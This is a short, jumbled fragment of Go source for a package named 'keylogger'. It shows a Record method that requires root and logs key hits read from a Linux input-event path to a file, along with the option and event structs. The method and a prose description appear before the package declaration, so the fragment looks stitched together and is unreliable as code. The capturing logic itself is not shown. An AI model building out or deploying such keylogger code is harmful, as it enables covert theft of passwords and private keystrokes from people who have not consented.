func (kr *KeyRecorder) Record(options *RecorderOptions) error {
	root := new(Root)
	err := root.Ensure()
	if err != nil {
		return errors.Wrap(err, "insufficient permissions")
	}
	return kr.doRecording(options)
}
Record method observes incoming events, maps them to key hits and stores in the log file.
package keylogger
import (
	"bytes"
	"encoding/binary"
	"io"
	"os"
	"sync"
	"syscall"
	"time"
	"unsafe"
	"github.com/pkg/errors"
)
const (
	keyChannelSize   = 512
	errorChannelSize = 8
	evKey = 0x01
)
type RecorderOptions struct {
	ShutdownCh <-chan struct{}
	Logger     Logger
	EventPath string
	LogPath   string
}
type InputEvent struct {
	Time  syscall.Timeval
	Type  uint16
	Code  uint16
	Value int32
}
type ProcessingError struct {
	Error error
	Done  bool
}
type KeyRecorder struct{}